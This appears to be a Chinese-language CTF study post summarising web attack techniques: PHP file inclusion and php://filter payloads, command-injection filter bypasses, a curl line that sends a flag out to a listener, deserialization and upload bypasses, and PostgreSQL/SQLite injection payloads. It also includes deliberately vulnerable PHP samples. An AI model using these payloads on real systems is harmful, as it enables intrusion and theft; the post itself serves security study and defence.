Web 安全漏洞总结
Web 安全漏洞总结
本文总结了 Web 安全中常见的漏洞类型,包括文件包含、命令注入、反序列化以及其他数据库注入方法。
一、文件包含漏洞
PHP 文件包含
文件包含相关函数
include()
include_once()
require()
require_once()
远程文件包含
远程代码执行:
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On)
利用 php 流 input:
?file=php://input
(需要allow_url_include=On)
本地文件包含
可以做什么:
- 包含同目录下的文件
- 获取 web 目录或者其他配置文件
- 包含上传的附件:
?file=../attachment/media/xxx.file - 读取 phpinfo 可以包含临时文件
- 包含/读取 session 文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
如何读文件:
- 直接包含非 php 文件
- 利用 PHP 文件流包含
示例:
- 使用 data:// 协议加 base64 绕过 “hello123”:
abc=data://text/plain;base64,aGVsbG8xMjM=&file=php://filter/convert.base64-encode/resource=flag.php
-
使用 php://filter/convert.base64-encode/resource=flag.php 绕过
-
除了 base64-encode 还有一个常用的是 string.rot13 编码
-
使用 iconv 编码转换:
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php
可以尝试二次 url 编码绕过关键词
http://127.0.0.1:2335/?page=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=index.php
原理:php包含的filter,包含时会再解一次url编码
Session 包含
一、直接上传包含
- 首先查看 phpinfo(), save_path 为 no value 则表示存储在默认的 /tmp 或 /var/lib/php/session 目录下
- php 代码为:
$_SESSION["username"]=$ctfs; - 当提交为:
?ctfs=<?php phpinfo();?> - 内容会被保存在 tmp 目录或者 /var/lib/php/session 目录下
- 直接访问:
?file=/tmp/sess_(session_id)
二、临时文件包含
- 条件竞争: 删除临时文件、包含临时文件
- php7.0 时:
file=php://filter/string.strip_tags/resource=/etc/passwd
会造成一个 segment fault,临时文件不会被删除。
- 自包含: 自己包含自己 进入死循环 脚本永不结束
NodeJS 与 Python 任意文件读取
NodeJS 任意文件读取
目录穿越:
const path = require("path");
console.log(path.join(__dirname, file));
直接请求 /public/../app.js 浏览器会去除 ../
使用 curl --path-as-is example.com/public/../app.js 但其会将 ../ 解析成路由一部分
所以将 ../ 中 / url 编码,访问 /public/..%2fapp.js
Python 任意文件读取
目录穿越
os.path.join('/tmp', file)
利用:
os.path.join('/tmp', '../etc/flag');
当过滤了 ./ 时:
利用 python 特性直接从根目录开始写:
os.path.join('/tmp', '/usr/local/app/app.js');
其会返回后一个根目录路径
二、命令注入
高危函数
代码注入:
eval()、assert()、preg_replace()、call_user_func()等等
命令执行:
system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()
注:反引号是shell_exec()的别名
示例:
<?php
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
echo shell_exec("ping -c 4 " . $ip);
} else {
highlight_file(__FILE__);
}
/?ip=127.0.0.1;ls%20-a即可利用
联合执行可利用的符号
; 无论前边运行成功还是出现错误,都运行后边
&& 前边成功结束才运行后边
|| 只有前边错误后边才执行
| 将前一个命令的输出作为后一个命令的输入
%0a %0d 换行符
`cat flag` 反引号内联执行
在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}
绕过技巧
空格绕过
$IFS
${IFS} (常用)
$IFS$9
<
<>
{cat,flag.php} // 用逗号实现了空格功能,需要用 {} 括起来
%20
%09
关键字绕过
// 1. 反斜线绕过
ca\t y1n\g.php
// 2. 两个单引号绕过
cat y''ng.php
// 3. base64 编码绕过
echo "Y2F0IHkxbmcucGhw" | base64 -d | bash
`echo "Y2F0IHkxbmcucGhw" | base64 -d`
// 4. hex 编码绕过
echo "6361742079316E672E706870" | xxd -r -p | bash
// 5. 用 [] 匹配
cat y1 [n] g.php
// 6. 用 * 匹配任意
cat y1n*
7.cat y1n?
8.cat y1{a..z}g
9.内联执行:如,ls 输出为flag 则执行cat `ls`
10.shell特殊变量绕过:ca$@t fla$@g或者ca$1t fla$2g
命令替代
cat、tac、more、less、head、tail、nl、sed、sort、uniq
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
其他读取命令:
nl:nl /flag
pr:pr /flag
od:od -t c /flag
rev:rev /flag
fmt:fmt /flag
php:php /flag
cut:cut -b1- /flag、cut -c1- /flag、cut -f1 /flag
sort:sort /flag
uniq:uniq /flag
grep:grep { /flag
curl:curl file:///flag
diff:diff /flag /etc/passwd
iconv:iconv /flag
paste:paste /flag /etc/passwd
strings:strings /flag
base32、base64
bzmore、bzless:bzmore /flag、bzless /flag
escapeshellarg()+escapeshellcmd()
同时使用会有安全隐患
无回显 RCE
- curl 外带
curl 127.0.0.1:1234/?flag=`cat flag|base64`
- dnslog
使用 dnslog 平台查看回显
神奇 payload
/???/??? *
可以是/bin/cat flag.php,所以可以读取到flag
bash 盲注
当机器无回显且不出网的情况下
即为延时盲注,注意截取与比较
1.grep -e "^BJ"flag &&sleep 5
2.cut
3.url="http://www.baidu.com"
echo ${url:5:11}
三、PHP 反序列化漏洞
什么是反序列化
PHP 的所谓的序列化也是一个将各种类型的数据,压缩并按照一定格式存储的过程,使用的函数是 serialize()
php 反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)
可以理解漏洞为执行 unserialize 函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。
漏洞前提
- unserialize() 函数的变量可控
- php 文件中存在可利用的类,类中有魔术方法
示例
<?php
class DEMO1
{
public $func = 'safe';
public $arg = 'abcd';
public function safe()
{
echo $this->arg;
}
public function evil()
{
eval($this->arg);
}
public function run()
{
$this->{$this->func}();
}
}
$obj = unserialize($_GET['a']);
$obj->run();
魔术方法
PHP 类中有一种特殊函数体的存在叫魔术方法,它的命名是以两个下划线符号 __ 开头的,这些函数在某些情况下会自动调用而在反序列化时,如果反序列化对象中存在魔法函数,使用 unserialize() 函数同时也会触发。
常见魔术方法:
-
__construct()- 构造函数 -
__destruct()- 析构函数 -
__wakeup()- 反序列化时调用 -
__sleep()- 序列化时调用 -
__toString()- 对象被当作字符串时调用 -
__call()- 调用不存在的方法时调用 -
__get()- 读取不可访问属性时调用 -
__set()- 写入不可访问属性时调用
Session 反序列化
除了默认的 session 序列化引擎 php 外,还有几种引擎,不同引擎存储方式不同
- php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数序列化处理的值
- php 键名+竖线+经过serialize()函数序列处理的值
- php_serialize serialize()函数序列处理数组方式
三种处理器的存储格式差异,就会造成在 session 序列化和反序列化处理器设置不当时的安全隐患。
四、其他数据库注入
PostgreSQL 注入
判断
--可以注释,#不可注释,则不是mysql
利用exp(999999)构造报错,可判断是PostgreSQL
或者测试延时盲注 利用pg_sleep()
LIKE 注入
LIKE 子句中,通常与通配符结合使用,通配符表示任意字符
• 百分号 % 相当于 *
• 下划线 _ 相当于 ?
ESCAPE用于指定转义符:
select 'abc%cff' like 'abc-%cf' escape '-';
#将-指定为转义符即可继续匹配
group_concat 替代
PostgreSQL 中并没有 group_concat() 这个函数
聚合函数 array_agg() string_agg()
常常与array_to_string()搭配作用相当于join
string_agg(expression, delimiter) 直接把一个表达式变成字符串
延时
pg_sleep(5)
方式:
1.select 1=(case when (1=1) then (select 1 from pg_sleep(3)) else 0 end);
2.select * from users where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)::VARCHAR else 'a' end)
3.select * from users where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)||'b' else 'a' end)
#在该数据库中||代表字符串拼接
堆叠注入
create function ddkkk(bd text) returns integer as$$ BEGIN execute bd;
return 1; END; $$ language plpgsql;
select ddkkk('i'||'n'||'s'||'e'||'r'||'t'||' '||'i'||'n'||'t'||'o'||''||'users(username, p'||'a'||'s'||'sword)'||' values(''admin'',''adddd'');');
COMMIT; select 'asdfasdf'::integer; --
SQLite 注入
注释符
/**/
--
可用#判断,如果#不管用则不是mysql
查询表名
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
#过滤sqlite开头的系统表名
查询列名
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
字符串截取
substr() substring() like = > < in between 于mysql差不多
特有的: trim、ltrim、rtrim、printf
trim :TRIM (字符串,要移除的字符) 如果要移除的字符不写,默认是空格
printf :
select printf('%.1s','abc') = a
如果printf('%.is', 'abc')=printf('%.i+1s', 'abc') 则说明字符串长度为i
字符串比较
1.与mysql同部分略
2.GLOB 运算符相当于等于,且其遵循unix语法
条件
1.case when X then Y else Z end 这个语句和mysql是相同的
2.还可以写作 iif(X,Y,Z)
注意:
sqlite中没有if语句
iif只有version>=3.32可用
构造报错
mysql 中可以使用 exp(999999) cot(0) 等等。
sqlite 中使用 randomblob(N) 返回 N-byte blob
时间盲注
sqlite 中并没有 sleep() 这样的延时函数
select 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([秒]00000000/2))))
五、PHP 文件上传漏洞
前端验证的绕过
禁用 js 或者用 burp 抓包改包
MIME-TYPE 绕过
burp 修改 content-type
黑名单后缀绕过
可以考虑大小写绕过,php2 php3 php4 类推以及 phtml 等
双写绕过
反斜线拆分绕过:
当文件名被过滤时,可以使用反斜线拆分绕过。
文件内容的绕过
文件内容绕过主要包括:
- 文件头绕过 - 在文件开头添加图片文件头(如 GIF89a)来绕过内容检测
- 短标签绕过 - 使用
<?=代替<?php - 注释绕过 - 在 PHP 代码中添加注释来分割关键字
- 字符串拼接绕过 - 使用字符串拼接来绕过关键字检测
- 编码绕过 - 使用 base64、rot13 等编码方式
六、数据库基础
数据库简介
数据库,又称为数据管理系统,简而言之可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据运行新增、截取、更新、删除等操作。
所谓”数据库”系以一定方式储存在一起、能予多个用户共享、具有尽可能小的冗余度、与应用程序彼此独立的数据集合。一个数据库由多个表空间(Tablespace)构成。
常见数据库
- MYSQL
- SQL SERVER
- Oracle
- Postgres
- SQLite
SQL 语法基础
注:SQL 语法对于大小写不敏感
查看创建的数据库
SHOW DATABASES;
创建并切换数据库
CREATE DATABASE test;
USE test;
查看数据库里所有表
SHOW TABLES;
创建表并查看表结构
CREATE TABLE testtable (
id int(11) auto_increment primary key,
name varchar(256)
);# 创建一个两列的表testtable,id 和 name,id 自动生成
DESC testtable; # 展示 testtable 的表结构
添加数据
INSERT INTO testtable(name) VALUES('DASCTF');
# 往 testtable 表中插入一个数据,id 自动生成,name 为 DASCTF
查询数据
SELECT * FROM testtable; #直接查询
SELECT * FROM testtable WHERE name='a'; # 查询 name 为 a 的数据
SELECT * FROM testtable WHERE name='DASCTF'; # 查询 name 为 DASCTF的数据
修改数据
UPDATE testtable SET name='DASCTF777';
# 将表内数据 name 列内容改为 DASCTF777
删除数据
DELETE FROM testtable WHERE name='DASCTF777';
# 删除表中 name 为 DASCTF777 的数据
总结
Web 安全漏洞种类繁多,本文总结了常见的几种类型:
- 文件包含漏洞 - 通过包含恶意文件执行代码
- 命令注入 - 通过注入系统命令执行任意代码
- 反序列化漏洞 - 通过反序列化恶意对象执行代码
- 其他数据库注入 - PostgreSQL、SQLite 等数据库的注入方法
在实际开发中,应该:
- 对用户输入进行严格验证和过滤
- 使用参数化查询防止 SQL 注入
- 避免直接执行系统命令
- 谨慎处理序列化数据
- 定期进行安全审计和渗透测试
Enjoy Reading This Article?
Here are some more articles you might like to read next: